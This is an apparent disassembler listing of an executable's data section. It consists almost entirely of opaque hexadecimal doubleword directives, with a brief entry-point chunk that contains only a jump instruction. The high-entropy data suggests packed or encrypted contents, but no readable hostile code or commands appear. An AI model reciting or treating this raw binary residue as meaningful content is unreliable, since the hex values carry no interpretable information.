dd 150594BAh, 88004405h, 0B1208A37h, 6D4A0AB9h, 608CBC01h
dd 5DEC2B89h, 45478700h, 3ED5167Ah, 139F00D8h, 26F16376h
dd 9302702Bh, 0EF11877Ch, 4D0D9AFh, 80D663FCh, 4CA46E0Ch
dd 5AAC0AC3h, 0BA6A8078h, 6C70268Bh, 0BE0300B8h, 0C8F55237h
dd 1718C300h, 0C7FCD926h, 34660468h, 0B484ED9Fh, 270014F0h
dd 3E153C74h, 1813F71h, 2BFCDA54h, 2D119522h, 795300F4h
dd 0DBE14B02h, 0CA07022Dh, 7EAEC217h, 0C8106CE2h, 0A502FAC4h
dd 8F1BC761h, 916200Ah, 9A00AEC1h, 0C6B3FA19h, 0AFDD2Ch
dd 521237A4h, 8BFFB6B7h, 0F40C7812h, 8A5834D0h, 91EE12EDh
dd 0E880C974h, 0AB0EE449h
dd 0EEBAF117h, 0E26B01B0h, 8832E0AAh, 39B1C300h, 2BE88EDDh
dd 0E091822Ch, 0F9007911h, 548DA2F1h, 0C375A349h, 0D6C9500h
dd 984CE2C1h, 44F890A6h, 0C00DCADh, 0D00DDA25h, 17E96C7h
dd 0B662475Ch, 0A7A212AEh, 6E941878h, 4718BE90h, 0C821AF20h
dd 0E0BF6C9Dh, 5102FC41h, 6D0F90D0h, 0A8F216h, 0D823C701h
dd 7C0BE4E3h, 614F9E00h, 29BCF9D9h, 576324B5h, 0EB6E07FCh
dd 6FDE80EAh, 0D4B917F5h, 9C84E039h, 4BD7AA06h, 4FD088E8h
dd 6F08F289h, 7900E571h, 1AEAB147h, 3DD69ACCh, 3E0CE18Eh
dd 0E02962F3h, 9FBAAB00h, 86972835h, 6BC70603h, 61F081BCh
dd 9EE88D00h, 535ABA83h, 0AA3D0042h, 443AFA96h, 3314C161h
dd 228F25Fh, 0F132284Bh, 787440ECh, 9758B66Ah, 488207Dh
dd 7109927Ah, 5A81AE20h, 0DF1C0088h, 6F0BD78Ah, 537CC627h
dd 18D31001h, 17977574h, 0E4004C69h, 0E6DE4A1Eh, 8315B7C3h
dd 5885BBh, 94077509h, 1CD59CECh, 0C0E67B1Eh, 7F8D33D9h
dd 910719C8h, 8BD87A79h, 0D031BDA5h, 57EC4DDCh, 0C4702C0Eh
dd 7F270016h, 3DE6AC9Ch, 8E3E013Ah, 0A0E0C362h, 0AA829584h
dd 89089C58h, 6C181478h, 0E10A0839h, 84956DE5h, 0F8008612h
dd 97F9D6Ch, 7D4107ACh, 0C0312CCCh, 7E63DDD5h, 0B5DE7300h
dd 0D47980E2h, 3C8C0059h, 71A39752h, 0D9387CB2h, 0DA1F06B1h
dd 2E50B5AFh, 4E2C8EFCh, 0EB2A27C0h, 2B13BA97h, 6C044A76h
dd 0E8C0FFD3h, 0E3C7F2Dh, 285573F1h, 45B8D560h, 7E1CB44Eh
dd 0F4268D15h, 0D88BBC0Ah, 0E0F29A12h, 0CFB1C400h, 0C3C13C65h
dd 0A0BD8F4h, 0E816F0C9h, 91B03Ch, 51A7A307h, 8B1F080Dh
dd 0CC0079ECh, 749CE910h, 0BD15483h, 0EE04BBECh, 0ABB83480h
dd 64B1F380h, 0DE323D00h, 358FE60h, 6D0A726Eh, 7DB89478h
dd 730A2205h, 0CD065F2Ch, 8F186804h, 459CE4h, 213F497Bh
dd 0E9A9BA1Ah, 7917C109h, 92C4576h, 6680DBF5h, 0F3B93FCAh
dd 0DD0C7D01h, 120EC542h, 0BC2CAFD1h, 5760998Fh, 8C985021h
dd 1258D675h, 24141D04h, 0D9A6EF00h, 441526Dh, 0EDA7D760h
dd 20B8CC87h, 2EE8F49Ah, 0CCF3BB24h, 13C68049h, 16C8806h
dd 0D02CB541h, 0F4B7DBE4h, 0FA52AACEh, 1058E8h, 0BB8C72F3h
dd 506332Bh, 0EE14F5DAh, 924B3AFh, 72F3D7FBh, 821F0720h
dd 200BD2ACh, 0E674E364h, 0A49E4200h, 270D0913h, 0AB67754h
dd 0DEE57EBFh, 0E4642594h, 0E02731EEh, 3B2749Fh, 0E6EFA970h
dd 949153h, 0D6AD9D8h, 7AC2B9h, 0D1EB8FC9h, 432CEFADh
dd 0C8013201h, 0D93D7D55h, 80B474FAh, 0BE1BD75Dh, 8EB84E65h
dd 0DD9CC509h, 0B8009082h, 19EEACh, 266F68C3h, 180A1389h
dd 0AA97250Bh, 20717Bh, 0C05F8594h, 67508FD1h, 0E0B0394h
dd 462D2BACh, 24F7E060h, 3802FF5h, 8C94C598h, 65626D80h
dd 0A76A7900h, 15C2037Bh, 0BED50170h, 1C9698A8h, 7C36305Dh
dd 0A9AD6013h, 3BCCE889h, 672A0056h, 5ADD7610h, 0C73DBF18h
dd 0DEBB0072h, 8B53386Eh, 0D0B95887h, 517F4800h, 0D3CED973h
dd 1D82E48h, 2DDA8F20h, 6B919Ch, 1F889045h, 0C000A27h
dd 0FA79B892h, 8D5C23h, 0FE578586h, 0BD966893h, 4915D00h
dd 0FF01F5E3h, 58BC070Eh, 0D041023Dh, 2B6E3663h, 3F003472h
dd 9037F6CDh, 1C3069EBh, 8018D67Ch, 86EFF129h, 40CE13C9h
dd 0CF66A06Ah, 0DFE65A5Eh, 79B50050h, 1141E5BAh, 0F4691D00h
dd 9BE160EFh, 0F617EAABh, 0FF28C006h, 46BECB8Fh, 0F3EA4700h
dd 0FB19D202h, 3E2B2C79h, 7BFC01E6h, 0B9EC1D42h, 26A90031h
dd 0D6CC443Ch, 313874A2h, 0E779F586h, 0D5299C05h, 406709h
dd 0E21A56F0h, 776CFE02h, 0A5920085h, 96F60C16h, 7C006B39h
dd 0D3608DABh, 0C382677h, 0BF82E641h, 610057E1h, 0E17CBD9Fh
dd 15EA9D8h, 2A3F93DFh, 8119954Bh, 0BA300E40h, 48831F20h
dd 0CE272378h, 857F413Fh, 3AEE5177h, 0A5627AC0h, 9C94003Eh
dd 176E04AAh, 0C1C1E459h, 70AB0CD4h, 44D6FCh, 6B491543h
dd 7367DC96h, 822EEA07h, 1CB60F97h, 0CD2730E9h, 0A1DC8469h
dd 0BDFCE100h, 38EF8A90h, 0AAEC0010h, 0CCA32285h, 1E88E092h
dd 0C041C01Bh, 4A8874ABh, 0B17B4600h, 0F5105FACh, 0C32800E4h
dd 70625089h, 5510FE45h, 677FF05h, 5A653725h, 800051E3h
dd 0BD3F10B3h, 1DDD13Eh, 0F1AC79C6h, 0F0195FC3h, 2F0AB07Ah
dd 0DC20B410h, 48FE8803h, 0D9510014h, 0E75D197Ch, 0CC18C57Bh
dd 0D859F78Eh, 0D75E0089h, 0C79301A9h, 0B9C0021Fh, 4710D2F9h
dd 1AA00084h, 4F20D860h, 0E1302822h, 0F0B85811h, 85420173h
dd 0CD59622Ch, 921ED825h, 6011A05h, 600158C8h, 4178FA19h
dd 0B21CF0h, 9B6766E0h, 0C415F2F8h, 0AB369D0Fh, 283802ECh
dd 2AB8A0D5h, 3298746h, 0BCE2DE03h, 82D8EB66h, 714810E6h
dd 0B5D98058h, 0C8FC32B4h, 1E8CE7D8h, 3D722104h, 0A09E4FCBh
dd 97E48007h, 0CB9F673h, 0BE926B04h, 30C3598Fh, 0CDD4A890h
dd 7C5206C9h, 896101A3h, 0F90FBC7Ah, 62DECC2Eh, 60F2D989h
dd 3CEE0Ch, 16E88FE2h, 7CFA1C79h, 0ED64A578h, 4640FE80h
dd 0B2033ED5h, 88C90103h, 0C8891258h, 7FC0F7A0h, 0CCF050E0h
dd 84CC11BFh, 90E412FDh, 0EFAF9020h, 73180626h, 59EDC710h
dd 0C1608C00h, 5B3EDD7Ch, 75BE00C9h, 0A6B17F05h, 2F481CD7h
dd 0DC5C01F0h, 0D39DFDD6h, 2A684AD4h, 0E0E228h, 3285ACBBh
dd 0AD3159E1h, 0EF008276h, 0AE92F454h, 186EA91Fh, 89D42867h
dd 0E1EAAFF2h, 91ACD01Ch, 842BDE40h, 7AE7F943h, 34C448BFh
dd 23DC71Ch, 2938CDDh, 41370C77h, 5A2E0915h, 0B9842984h
dd 0F55480B8h, 64249FEh, 8DB14A00h, 3D2F0D31h, 0CCE8C870h
dd 8CF57B29h, 5D05BD91h, 282EFF2h, 73105C08h, 0D6120C44h
dd 98007F36h, 3269F158h, 1F911B5Eh, 71004CF0h, 3DB64170h
dd 0A6C593h, 19C79287h, 0A7FA0D4h, 4638C8F4h, 9528F7F5h
dd 8A006429h, 894BC285h, 9D69C09h, 276968E7h, 21C38C10h
dd 0A300B27Ah, 96896AE2h, 7F24FE71h, 902E0760h, 925459C4h
dd 2440F115h, 99012CA0h, 0F73230D3h, 49F05D04h, 5B9E0EAAh
dd 0DF6068B3h, 5E3789B0h, 0CC302D04h, 7488F27Dh, 0F8CF88EDh
dd 3531B900h, 8D37F75Dh, 96740087h, 0E9915C33h, 0FF0C3DFDh
dd 0A9E3284Eh, 0F31748BBh, 9A491A00h, 6311B07h, 0E58C400Bh
dd 4CC80B9h, 0A8B4C9h, 7463E08Eh, 92E30EA1h, 46EC5D03h
dd 0F00AC64Dh, 3CCFE4h, 0B806A873h, 16C9A615h, 9200657Ah
dd 6B746E0Eh, 0F8F68A9h, 6D1ACB86h, 80FB1CE5h, 1EEE9CA9h
dd 0C8BF3B06h, 31953Dh, 0FFDB3F77h, 0C9EFA588h, 980FDEE2h
dd 46FE6C04h, 77289FD0h, 0FFB30092h, 0A08ACCD8h, 7005FDCh
dd 0D5D4632Bh, 3C69117Dh, 0E718DB02h, 66A1581Eh, 0DDC1BA00h
dd 0D4EADEF4h, 500C001Fh, 0B4189327h, 0F1006CB2h, 5401FD45h
dd 0F04920C5h, 0D9CF01D2h, 8D9EC79Fh, 9684516Fh, 718AE0AFh
dd 14E911C0h, 8966EF7Fh, 0CB723013h, 0A9900F00h, 5625F16Dh
dd 9694071Ch, 312D3075h, 0C3F01E81h, 0A26E3000h, 337F40Ah
dd 54D50E88h, 4C4C9E95h, 402BC51h, 3E997964h, 0CE94A08Fh
dd 12EAB66h, 0DF43A2E6h, 0D4490709h, 0F501D386h, 0DB875FAh
dd 0D8806292h, 65A95AB7h, 1E18F0B3h, 94791DE7h, 3A8A3075h
dd 0A3904560h, 0B0BA5814h, 0D4513AB8h, 9B074138h, 0FCB6EE43h
dd 66149C70h, 0E353029Fh, 793D3060h, 96001446h, 0D464CC82h
dd 0F032200Bh, 3D510087h
dd 0E6F8F6ECh, 1EF41937h, 8002CA29h, 0EBF72007h, 0F74E75F3h
dd 971547FFh, 0EDB094B7h, 6722A5F6h, 5E8AA0E0h, 885C0A82h
dd 0B207208Eh, 9EBB40E5h, 0C0C0753Dh, 0E84CBD5Dh, 1A3E8DAh
dd 4B44EA20h, 8168EC0Ch, 985FCCA9h, 0B9F7E5FBh, 3883D7E4h
dd 433E92E9h, 7000F8B6h, 82E833C6h, 726B60h, 0D17E02DEh
dd 8B058C4Fh, 0B5EBFD00h, 80625A9Bh, 288C9894h, 5C0A689h
dd 0E1240A27h, 0E48C214Dh, 0EDB1D417h, 4C92E775h, 0CCA05C00h
dd 22BAA935h, 0A2843FFAh, 43BB2300h, 87DDB34Eh, 20E91F6Eh
dd 672492A8h, 0A30F0189h, 97D31004h, 0ED2020ADh, 0BC1FB400h
dd 3ABF2FEFh, 84601E23h, 0C11607CDh, 826C946Dh, 90206854h
dd 587A94FDh, 703D7E9h, 3B2004FEh, 6C993Dh, 366A0C45h
dd 12D548F7h, 40873D95h, 0A3D4A508h, 0E40267C1h, 287FB90Bh
dd 4C64407Ah, 0AF940090h, 975B5EC6h, 6B01E36Dh, 0E2DBF956h
dd 0ABF0C984h, 3E678893h, 7A294700h, 0A1C022B8h, 0F0985048h
dd 0C2DA075Fh, 0A1783F75h, 804A8E9Dh, 4E5B65B9h, 381B3511h
dd 30E43D9Ch, 521480FCh, 9550B033h, 300011C0h, 2635172Fh
dd 4E2D780h, 0DAF078B6h, 71E882D1h, 7FD44020h, 75E4241Eh
dd 90FC63C8h, 5D035001h, 62EF8517h, 0DF9D3182h, 3BC12582h
dd 0FEDBF0F0h, 67E13519h, 0B1C83C21h, 73290470h, 83954793h
dd 0D888E340h, 0F1076AD2h, 9786692Eh, 5EF263D0h, 383749A8h
dd 0C009E915h, 245FA2Ch, 69E40562h, 0DB980240h, 47619300h
dd 530271FCh, 0D08064AFh, 9C288C7Eh, 0AB89180Eh, 81E8E0C8h
dd 0C3F9ACh, 44233428h, 2B87CB33h, 1E489F40h, 0C3242D22h
dd 0BD9907A2h, 0C11AC6D0h, 38DC403Ch, 15A906F6h, 0CB8D1F7h
dd 9B283368h, 1307F4D0h, 89817924h, 0E47D6D80h, 1E0514A8h
dd 0C480A4EFh, 0E3435A20h, 9366E902h, 40F1FCF5h, 5F95F0Ch
dd 0BF164D95h, 0FAFE8796h, 7CE900E0h, 0D8FDF563h, 86712B14h
dd 20CACEBCh, 0BAD16E78h, 3B19020Ch, 60E0BE3Ch, 93988F20h
dd 0E31B075Ch, 0A023E5FFh, 830FC23Fh, 4B4DAD04h, 3C90963Dh
dd 99C563Ch, 6FA6FAFCh, 0CCBBF084h, 79502EE8h, 72ECF5E7h
dd 3D4F9100h, 7FD6AD3Fh, 0BC7D4Eh, 0B290DBDCh, 0AF386DB8h
dd 0BDC91000h, 996708B1h, 508DE60Eh, 0A529476h, 15E8FF8Ch
dd 0B0A080D0h, 0D2EE8762h, 961E0300h, 53C3E690h, 9C3E582Ch
dd 0F55F6380h, 897E79C2h, 0A554A400h, 8858B0C9h, 0C71600E8h
dd 7F95E301h, 0DA168687h, 5022809Eh, 0E988408Fh, 0C03D7C90h
dd 0AD382B51h, 0FA1D925Eh, 71C75028h, 90D0155Bh, 26BDB137h
dd 403488DFh, 8F8E685Dh, 0C3B8C600h, 1EE908FFh, 217760CCh
dd 0EE67F09Fh, 0BB52A802h, 0C0C9871Fh, 90A4961Ch, 9D400CF8h
dd 43888145h, 39068830h, 0D4EF0Dh, 0D5C2D0C5h, 5C15C73Ch
dd 0B78C400h, 9D66B827h, 0C9706581h, 0F6A00077h, 0B6E83562h
dd 0ED3C488h, 19815089h, 0EE69856Fh, 8090D404h, 73C4E930h
dd 0F9943E30h, 5C030DFCh, 0F026C17h, 9C2D6D88h, 5EE1F460h
dd 67149F50h, 117EBB00h, 3D424571h, 87DF18F7h, 5ECFB904h
dd 0A3A92900h, 0DB180667h, 0C3AD1813h, 3887CFDh, 0DC009CA4h
dd 8E67719Bh, 30CEFDFh, 95308328h, 0C10E12E8h, 4086E0C7h
dd 1C79AFC6h, 0D49A01FFh, 0E14AF1C2h, 974E070h, 84306700h
dd 38F380C7h, 0EFF50336h, 111C04F8h, 89244973h, 680E429h
dd 0C5BEEE9h, 68AA2D46h, 0F507B05Eh, 312C1D04h, 0A8A00767h
dd 42EDD361h, 0AC44E35Eh, 0DECE4B00h, 72C290E2h, 24A6B0ECh
dd 40ACEFB8h, 4F3B9F17h, 0CD186A07h, 38A1310Ch, 0C760C9D3h
dd 0A89B00B9h, 958FDE56h, 1D0F6586h, 0D7521F96h, 0E9BB9500h
dd 39461E71h, 0A600F356h, 53B9B48Fh, 0D251DB15h, 31642190h
dd 81B8086Ah, 8B407607h, 85B3AA6Ch, 0CB7DABA5h, 0E0D09A28h
dd 91819C4Ah, 0ACAC78h, 4E4F318Ah, 0D648B956h, 504C2288h
dd 268FAE34h, 1C0B28Bh, 172B853Ah, 125432CAh, 4478A3Dh
dd 0CEC256D2h, 516B408Bh, 13AF2462h, 1AE060CCh, 0C900A241h
dd 19221FC1h, 7CC700Ah, 61C077AAh, 93E4A029h, 0F3098357h
dd 649F80h, 40314812h, 0EC5900A3h, 0D6D95DDh, 33025C24h
dd 0E7964629h, 69D4A014h, 0B243D6h, 0D24752E8h, 0E97D4FB9h
dd 0C8F0DF07h, 0A4432610h, 0F515E00Dh, 0B8620EA5h, 41380604h
dd 9F24CE3Ch, 0C02C4F4h, 0E687F0A2h, 9BD100F8h, 0CC9912ADh
dd 89603D55h, 0D5E3FED9h, 1788011Eh, 0E8C25067h, 1942095h
dd 9F4029F4h, 287196h, 31D06376h, 40C973Dh, 935B7701h
dd 0E8EE03E4h, 0B6004462h, 63274036h, 81A033EAh, 1A02100Eh
dd 0DFA29002h, 0FE3044E1h, 0EF07334h, 0FC24380Fh, 0B502A9C0h
dd 0CD13B9A8h, 400D7A3h, 9D546EBh, 23EF0AFDh, 40F0E0AEh
dd 81C13255h, 5FC2658h, 0E654E84Eh, 0F7AA488h, 0E74B1891h
dd 0FC66EF80h, 6901872Fh, 0F6E43E5h, 0E889A011h, 2423977Bh
dd 9099518h, 809B4AA8h, 0ED1E58A8h, 987309B2h, 1C909E5Eh
dd 8E1DAC5Fh, 2FB867Fh, 0E51E06B3h, 27492C75h, 50472894h
dd 4F8DCEC0h, 340301B0h, 4ED65F45h, 1760E63Ch, 237A75BCh
dd 818A7409h, 114C810Dh, 88D06D45h, 0F6E20009h, 0C0804D8Eh
dd 7493DA6Eh, 0D10D013Eh, 47A890D3h, 485CE070h, 4516047Eh
dd 0A94020E7h, 82008F7Fh, 14300395h, 15D611CAh, 800B44D7h
dd 6EA37807h, 0B84E31BAh, 92D261E0h, 84303A18h, 0E555C1h
dd 3B2BEF2Ah, 99DAE957h, 5EF7DD00h, 881B439h, 883D3070h
dd 51509D31h, 0ACE03307h, 0D570AF79h, 0D0773BE2h, 4E0AC0E8h
dd 809C1C88h, 0BCD6C9A0h, 0F77CABDAh, 0C000C99h, 0E043953Dh
dd 1C58E462h, 0C10A3B41h, 61337412h, 282439A9h, 0D205951Eh
dd 806511D0h, 84E65C0Ah, 0B8B17640h, 0E79D07A7h, 0F1F839h
dd 0D39BFBFCh, 0E2F2F550h, 4574681Eh, 8E61878h, 0EC12F39h
dd 0E509D880h, 0B06950E0h, 6700C988h, 531B0DC8h, 8744241h
dd 0E752143Fh, 4BB38341h, 0E1AE2E4h, 0E6D39065h, 78509CC0h
dd 2912FC09h, 1427AB61h, 0E05CC8E9h, 87DE0059h, 0D55B4437h
dd 970347EFh, 7B32D383h, 84C8AC9Dh, 0D4284986h, 8581CE03h
dd 27D8ECDBh, 0B0D5D22h, 3CF68F42h, 0F0EDA8DFh, 66940090h
dd 0D014EF38h, 0B9787825h, 4204F5Dh, 95805E4Eh, 30739C4Fh
dd 819E90B8h, 0EC114B60h, 4CFFA04Eh, 4D047097h, 0A0CFB3FCh
dd 1715FE74h, 0E00586h, 0BE8E387Eh, 3F89422Fh, 7D00BA6Ah
dd 0EB7965E2h, 85804FFh, 0F0D08058h, 0CAFCE16h, 9E7C792h
dd 580F7B19h, 9F35AD4Ah, 200DF64Fh, 6E77E614h, 0DDBE0073h
dd 0FF20B837h, 0AA32AB06h, 2993C8BFh, 192AC80h, 1D25459Ch
dd 0E9049990h, 14F378C8h, 7CA2A85Eh, 0F5753D00h, 0AD4150F9h
dd 3A07B8ECh, 562816DAh, 83299CE6h, 7C3C80CEh, 6BA200B0h
dd 4B018C2Ah, 0ED00C680h, 8EA4AE4Eh, 7FD60F6h, 832A8D45h
dd 89F98126h, 0E1D4EDEAh, 4CBC4019h, 40A4F45Eh, 0C43E7929h
dd 0D5F94200h, 5C884A41h, 1C80AC87h, 0B926C740h, 93246B00h
dd 0DA4C663Fh, 12A00D2h, 0D1A34EB4h, 0FA10F6EDh, 570280FBh
dd 879E3550h, 65280872h, 21023C82h, 704D540h, 87A1000Ah
dd 1112B189h, 9007B0A4h, 9049615Bh, 0B76C84h, 6ADED980h
dd 1E83BE3h, 0C0B239CFh, 5AC2E153h, 2F863834h, 8719A84Ch
dd 70F4F0D5h, 0E022F948h, 3F8C0061h, 401458BDh, 0C87315A5h
dd 791C5BEEh, 0A8404189h
dd 0BD317F12h, 0DF82007Ch, 88C3E235h, 0D0C896A7h, 90869654h
dd 0A4B79A18h, 0B883FC00h, 0F6BBB91Ah, 456200C0h, 2C18A0Ah
dd 0EC0025DFh, 942F9158h, 14DB095h, 0D09D5BEDh, 0C3E79390h
dd 0BD19D100h, 1811088Fh, 8A7C054Ah, 0C57B1BE9h, 0D004D0C8h
dd 87048F81h, 88F24FB2h, 17FB8B4h, 0BC187441h, 0F962BF01h
dd 0A581433Dh, 70B009CDh, 30214C05h, 2CDA15F8h, 0AB686D05h
dd 0D030A95Eh, 963E7F53h, 1FCA8068h, 261D1E64h, 783D3626h
dd 0CC3A3B40h, 5E0D1CA1h, 0A6A84343h, 2BE8BAB8h, 951E037Ah
dd 8ED940D8h, 341006C0h, 21301F05h, 0E4748A90h, 0ED380BC6h
dd 5AF86942h, 0EC61509Eh, 4C156F6h, 945D64C4h, 0E3F24088h
dd 0A70B0C50h, 0F308668h, 1B8E4BA3h, 24CEC124h, 0BC9320h
dd 0EAEE995Ah, 0B726590Dh, 2BE3271Fh, 0C0A342CFh, 1D04C523h
dd 16C4A91Ch, 0BC001822h, 7DD97289h, 0CB1E1278h, 2C0082A5h
dd 216D33FDh, 0EAED7D97h, 0F647002Fh, 0D0554167h, 25003517h
dd 68F0990Dh, 1ED9DAF7h, 0E43D9EDBh, 6C44397Ch, 443F3807h
dd 23C41683h, 0D31590F4h, 0AC8C1C40h, 0ADE760F0h, 137A22C1h
dd 27486C00h, 0A5EC5C1Bh, 8FAF0267h, 29D12EA7h, 1E88B060h
dd 0DDFE94A8h, 21678200h, 49BFCC41h, 228A2896h, 3E943A8h
dd 0F5DF44A3h, 35C880ACh, 0F637D0Ch, 0EE1FAD07h, 0CC849589h
dd 0B365404Ah, 0B4F11150h, 314F8094h, 80D77E93h, 60910090h
dd 1C2CC8Bh, 9A90BC0Fh, 3B0FE8E8h, 0E8611E26h, 2D369E10h
dd 0CE904CCh, 2C25E08h, 0D34E05Dh, 11499E6h, 0DBC20FC9h
dd 0A2E28470h, 0C580F17Dh, 0BAAD298Eh, 21B41D30h, 9EF343F8h
dd 592869BBh, 70F95487h, 0DBB81B8Eh, 0C5832C80h, 77F79000h
dd 721F5F07h, 4FA7EB7h, 0D0069D8Eh, 0FFD880DAh, 10B6950Dh
dd 0C9A93200h, 5304F258h, 2F0CE812h, 2DB8608Ch, 2300C89Eh
dd 4E98E8A2h, 0DB8F2C73h, 877B0BEFh, 1C95A810h, 0CF6F9700h
dd 26192E9Ch, 0E4A37953h, 0B477765Ah, 0D398408Ch, 100205Fh
dd 1F4780B6h, 45A4856h, 490642Fh, 31A8CC1Ah, 52CE8809h
dd 41C887C6h, 0B880F0E0h, 6C590517h, 3EC77Eh, 0D6AB372Ch
dd 6A144622h, 60D0E3F8h, 85217D49h, 0A0CD0071h, 351EA89Ch
dd 8E499E27h, 0E04C9CD0h, 60A5B0EAh, 0AA4A70F4h, 0BD16594Ch
dd 48039670h, 9897A830h, 6023E1h, 7622EFA4h, 0C31838C9h
dd 0AC500912h, 802C3010h, 0DD9F2F0h, 5ED402D1h, 9A6155B3h
dd 14149441h, 5C00E0E2h, 83F14708h, 32002749h, 0B8739C6Ch
dd 2C0B6716h, 40CA131h, 0A20D89FBh, 0F10079E0h, 11A8B562h
dd 286AD387h, 1EE7EACFh, 0ED19C325h, 0EFE64800h, 14B69C71h
dd 393744CFh, 4B0044A2h, 19013C96h, 0F6901D58h, 0AB68EC50h
dd 9B62E50Dh, 25CAC07Fh, 0FF48B064h, 0F49D5E24h, 658C9C41h
dd 20873992h, 53843FE4h, 7EB7B02h, 718F47B7h, 0ED8301FCh
dd 31536A33h, 4B6D8AAh, 0CB0119ECh, 1F1E02D6h, 0B421CE90h
dd 0C69F6001h, 0C8BADECCh, 3C800690h, 877FAE1Dh, 75E2001Ch
dd 80E0C331h, 0AC01396Dh, 4178D63h, 1866E46Ch, 78272458h
dd 0FA098C90h, 0A6040A00h, 2C40F16Dh, 19731C8Bh, 7AF48E1Eh
dd 1880D3ABh, 0A252AA06h, 8A432009h, 25E007D4h, 0EFF308F0h
dd 17221672h, 0F80C88E2h, 4B934E04h, 108115C3h, 7CF72BFFh
dd 403CB690h, 47EB710Bh, 863A1E00h, 0D7A5092h, 759100D2h
dd 77B7E36Dh, 0F6001A81h, 0BE25025Dh, 370B33E4h, 0D5596188h
dd 5438E0A7h, 69C43502h, 723EF8A3h, 657500E4h, 2047091Ah
dd 0C13CEB9h, 0A809DC6Dh, 0EF5C85EBh, 340D980Fh, 96680780h
dd 1C778E22h, 2680B4AAh, 0F4FEAF8h, 80AD17BCh, 719420E0h
dd 21009E7Bh, 94317E96h, 1F394E0Bh, 12344C62h, 382820B8h
dd 851F18C6h, 8A0B9450h, 9FB4994Dh, 0EBCD5F10h, 99E1E70Fh
dd 14830035h, 16080D98h, 8DF45E4Ah, 0E99AEC50h, 8FD23A05h
dd 9CC1F850h, 0E87C1152h, 27B22B8Eh, 90917414h, 7597A48Ch
dd 90D3F09h, 0B3640108h, 0F040D7ADh, 0A39D48h, 15B87594h
dd 0E2C678EFh, 170EB606h, 5901E5h, 0B08057A2h, 8109374Fh
dd 30858B33h, 985DA803h, 256D1FAEh, 0E1174ACCh, 0C18D4780h
dd 2A8EB4D0h, 0DB612420h, 0A0B0045h, 33E1E228h, 48014C30h
dd 0EE2A7169h, 4ECC67D1h, 305FE89Ah, 9939A0F4h, 0C0B01F28h
dd 97C050BCh, 0C276EE1Eh, 949C0CA9h, 1C364081h, 4CE72151h
dd 4F78C77Ch, 8ED5EE05h, 6080A813h, 0FE58038h, 57A33183h
dd 0B058011Fh, 2A01D5C1h, 0B7BD428h, 41B64FEDh, 599B8F86h
dd 0DF704000h, 9D50AFEEh, 769E0139h, 781F89F7h, 53C443D6h
dd 3075AAE0h, 203FA927h, 9F5E0AB4h, 0C205804h, 0F4CD1584h
dd 0E74CBB20h, 0D3338020h, 1990155h, 2D8D8FA4h, 0E4E13506h
dd 69099F6Dh, 98C350CDh, 3FBBB238h, 5D80151Bh, 694CF38Eh
dd 0A7005EE5h, 0DEA69FC1h, 0C7F1DBCh, 903D198Ah, 0DB00A5C9h
dd 260131E3h, 8036A4h, 41F95C4Dh, 32206E91h, 0B07BEC2Ah
dd 6A305100h, 7AB3F899h, 2C2D24D6h, 4F003DF9h, 27595769h
dd 38002F95h, 0ACBDBEE6h, 52170DB8h, 2B05A8E8h, 0A4877866h
dd 8E006A30h, 0B65EFB6Ch, 1F6D6185h, 0C968B59Dh, 0DC00D0F1h
dd 0C180B8EEh, 0A8271502h, 0FAE09972h, 392A00BCh, 24920244h
dd 8E09266Ah, 0C80BE672h, 0E23F36DCh, 8DF13CFCh, 0FD53A000h
dd 0D4AD2E6Dh, 37789201h, 5E99EE3Ah, 88102321h, 0DD17D0h
dd 366D7A14h, 5FE3660Bh, 0A94771C0h, 98208Ah, 492E5056h
dd 38A5426Fh, 0A73C9117h, 1702088h, 0C7FB271Bh, 7012C029h
dd 560073C4h, 41B3039Ch, 8A78BAh, 0B88DA879h, 80496F19h
dd 0E9F69900h, 72C769FEh, 7BCA4E0h, 85C3A82Dh, 915FE01Dh
dd 5E00C0D4h, 5D5CA781h, 3D213655h, 0A049B089h, 523D8Fh
dd 0CA5CE744h, 0DC991EA4h, 0DD96B380h, 18629F98h, 19AA5EDCh
dd 0F0F78174h, 2C991E04h, 9516803Ch, 0C843E920h, 0A0DAB847h
dd 5B92EB64h, 2D002096h, 9D00B129h, 7557BC8Fh, 10C2BE3h
dd 270F25D6h, 1063EF9Fh, 284DC478h, 3DB09140h, 121E7B06h
dd 0C2B526Fh, 0A6B91E50h, 70B84578h, 0BB9D6808h, 0EBA8474Ah
dd 0F144800h, 0AA1ED933h, 1100CCA0h, 5D18B872h, 61D8008Dh
dd 3CB447F5h, 6D0A7197h, 0BCB57638h, 80770E09h, 39F7F63Ch
dd 0C09CBC21h, 9E59A39Ah, 1844B58h, 1F3B7A51h, 247CF9E5h
dd 0D600F443h, 9B0524F6h, 0BF0F8FA2h, 0A216907Ch, 6040A631h
dd 256EF0D8h, 0E490815Fh, 3E22B4FFh, 2B14008Fh, 4F756A4Ah
dd 173C4D05h, 638E00B9h, 956A4B5h, 810974Eh, 0EF1D8955h
dd 9B40925Ch, 67C6E054h, 9D7913DDh, 0BBD8C88Ch, 0EC4B2002h
dd 51DB3BD1h, 91E2076Ch, 8B25C057h, 0CA013258h, 30DB0940h
dd 7422E077h, 47FBB900h, 0BCBF73D1h, 0BB3E8600h, 0FA7BB4B2h
dd 8F190112h, 0EDD2E99Fh, 205ED55Bh, 45129E04h, 30D03E29h
dd 1FCE1877h, 0C0BD42BBh, 59EEA07Bh, 0CB54295Ch, 950FF648h
dd 0F7AFCD0h, 0A794C2A3h, 0B0E641h, 0A5FE96C4h, 7E0FCF21h
dd 0D079EB3Dh, 0C2FA6DD0h, 6C569F00h, 0BC083BF1h, 5FE8EFh
dd 770D7580h, 0E894D92Bh, 33802C94h, 9E81C17Ch, 69C097BEh
dd 0C700A4D3h, 0DE11285Fh, 603EB6CCh, 7982C19Dh, 0CD4C0D19h
dd 0C87500F3h, 3E654B0Fh, 9C1195B5h, 3A0E704Ah, 86DA941Fh
dd 1EBA3B02h, 42D0C6E9h, 0ACDC241Ch, 12A2141Ch, 0A4835EDDh
dd 0A09EE6D8h, 94DABE80h
dd 734257Ah, 0DB11D84Ch, 0CABDE0AEh, 0EC4C366Ah, 3ADC8080h
dd 5E9990Ch, 6516C641h, 17CA2A9h, 78102B3Dh, 0FC22E81Eh
dd 5C46412h, 0C074CD84h, 0CBEF3B84h, 0C04E8F24h, 0CFEC0200h
dd 29BB8183h, 7F01CC80h, 0B0FDFFh, 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_53C0A4: ; CODE XREF: start:loc_4E0265j
; DATA XREF: start:loc_4E0086o
jmp loc_53F46D
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
align 4
dd 0B00000h, 0D4C96A00h, 57533777h, 2 dup(0)
